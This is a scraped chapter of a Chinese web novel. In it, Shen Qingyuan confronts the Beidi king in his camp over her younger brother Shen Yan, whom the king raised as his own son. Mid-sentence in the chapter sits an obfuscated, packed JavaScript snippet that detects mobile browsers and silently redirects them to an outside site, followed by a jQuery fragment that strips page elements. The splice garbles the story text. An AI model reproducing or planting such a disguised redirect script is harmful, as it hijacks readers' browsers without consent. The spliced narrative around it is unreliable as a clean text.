第一百九十四章 名帖叩关
作品:《开局被毒哑,娇娇变大佬》 马蹄踏过冻土,沈清沅勒缰停在黑风口关隘前。风卷着雪粒打在脸上,她没抬手挡,只将袖中名帖攥得更紧。陆衍策马并肩,低声说:“毒粉已撒在靴底,若有异动,三步之内可放倒十人。”
守关兵卒横枪拦路,铁甲映着冷光。沈清沅下马,步履平稳走向营门,手中名帖递出时未发一言。那守将接过一看,脸色骤变,嘴唇抖了两下,竟单膝跪地,双手捧帖高举过头。
“沈小姐请——王上早有令,持此帖者,如见本人。”
她迈步进营,陆衍紧随其后,目光扫过两侧哨塔与暗桩,脚步不乱。营中寂静无声,连马嘶都压得极低。行至主帐百步外,忽闻稚嫩读书声自深处传来,一字一句清晰入耳:
“沈氏家训第一条:忠君爱国,宁死不叛;第二条:孝亲敬长,克己守礼……”
沈清沅脚步一顿,右手猛地按上胸口玉佩。陆衍察觉她呼吸急促,轻声道:“是孩子。”
“我知道。”她继续向前,声音平稳,“他在背我祖母写的家训。”
主帐帘掀开,北狄王端坐案后,身侧立着一名少年,约莫十五六岁,眉目清秀,衣着华贵,正低头捧书。听见脚步声,少年抬头,眼神清澈却无波澜。
“来了?”北狄王笑得温和,像迎远客,“清沅,你比我想的还快。”
她没答话,径直走到少年面前,盯着他的眼睛:“你叫什么?”
少年合上书册,恭敬行礼:“回姐姐,我叫沈砚。”
“谁教你姓沈?”
“父亲教的。”他指了指北狄王,“他说,我是沈家人,血脉不能忘。”
沈清沅冷笑一声,从怀中取出梅花玉佩,举到少年眼前:“认得这个吗?”
少年盯着看了片刻,摇头:“没见过。”
北狄王开口:“那是你母亲的遗物,她临终前托我保管,说等你长大再交给你。”
“我娘没死。”她盯着北狄王,“她在黑风口陪了你二十年,现在人在哪?”
北狄王笑容不变:“她不愿见你。她说,你太恨,会毁了这孩子。”
“我不恨孩子。”她逼近一步,“我恨的是拿亲骨肉当棋子的人。”
陆衍上前半步,站在她身侧,目光落在少年手中的《沈氏家训》上:“这本书,谁给你的?”
少年答:“苏夫人。”
沈清沅瞳孔一缩:“苏婉?”
“是。”少年点头,“她每月来一次,教我识字、背书、**礼。她说,若我不学,父亲会生气。”
北狄王轻叹:“你娘用心良苦,怕你忘了根。可惜……她走得太早。”
“她没走。”沈清沅咬牙,“她在你们手里活着,被你们逼着教自己的儿子认贼作父。”
少年脸色微变,低头不语。
北狄王拍案而起:“放肆!你当这是安西节度使府?由得你胡言乱语?”
沈清沅不退反进,直视北狄王:“我爹把虎符给你,换你养我弟弟二十年。你呢?用我娘的命,换他忠于北狄。这笔买卖,划算得很。”
北狄王沉默片刻,挥手示意侍卫退下,帐内只剩四人。他缓步走到少年身边,手掌搭上其肩:“砚儿,你姐姐说得对,我不是你亲爹。但这些年,是谁给你锦衣玉食?是谁教你骑射兵法?是谁护你不被朝中权臣所害?”
少年没答,只看向沈清沅。
她蹲下身,与少年平视:“你记得小时候的事吗?有没有人抱着你哭?有没有人半夜偷偷教你喊‘娘’?”
少年嘴唇微颤,声音极轻:“有……她说,别让别人听见。”
“那就是你亲娘。”她伸手想碰他脸颊,少年却后退半步。
北狄王笑了:“你看,他怕你。**你是谁,只知道你一来,就要带他走,要他恨我,要他背弃这二十年的安稳。”
沈清沅站起身,从袖中抽出一封密信,啪地拍在案上:“这是我爹写给你的亲笔,盖着安西军印。他说,若我弟愿归宗,你不得阻拦。若不愿——”她顿了顿,“你得让我亲口问他。”
北狄王没看信,只盯着她:“你真以为,凭一张纸,就能带走我养了二十年的继承人?”
“不是继承人。”她一字一顿,“是我沈家的儿子。”
少年突然开口:“姐姐,你能告诉我,我娘……她现在在哪吗?”
沈清沅心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208924|191112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头一颤,强压情绪:“她在等你。等你回家。”
“家在哪?”
“安西节度使府,祠堂东厢,**灵位旁,还留着你的摇篮。”
少年眼中闪过一丝动摇,转头看向北狄王:“父王……我能去吗?”
北狄王脸色阴沉,却未发作,只缓缓坐下:“去可以。但你要想清楚——去了,就再也回不来。你不再是北狄王子,只是沈家庶子。没有金冠玉带,没有千军护卫,只有规矩、家法、和一个疯了一样的姐姐。”
沈清沅冷笑:“疯?我疯是因为有人把我娘关了二十年,把我弟教成仇人的刀。我不疯,难道该谢你?”
陆衍此时开口:“王上,孩子有权知道真相。你养他二十年,不如让他自己选一次。”
北狄王盯着陆衍:“你又是谁?太医院的余孽,也配插嘴?”
陆衍不卑不亢:“我是救过沈清沅命的人,也是将来替她弟弟治腿伤的医者。”
少年一愣:“我腿有伤?”
沈清沅点头:“你三岁时摔下马,北狄御医说治不好,其实是他们故意拖延。我带来药方,三月可愈。”
北狄王猛地拍案:“够了!今日到此为止。砚儿留下,你们——滚出黑风口!”
沈清沅不动,只对少年伸出手:“跟我走,现在。”
少年犹豫,手指攥紧书册边缘。
北狄王厉喝:“沈砚!退下!”
少年浑身一颤,脚步往后缩。
沈清沅收回手,转身朝帐外走,声音冷得像冰:“好,我走。但我还会回来——带着我爹的兵符,带着我娘的绝笔,带着全天下都知道你养的是谁的儿子。”
陆衍跟上她,临出门前回头看了少年一眼:“你娘没死。她每天都在等你喊她一声‘娘’。”
帐帘落下,风雪灌入。
少年站在原地,手中《沈氏家训》滑落在地。
北狄王盯着帐门,低声自语:“苏婉……你到底教了他多少?”
少年弯腰捡书,指尖触到书页一角,那里夹着一片干枯花瓣,颜色淡红,形如梅花。
他悄悄攥进掌心,没让任何人看见。

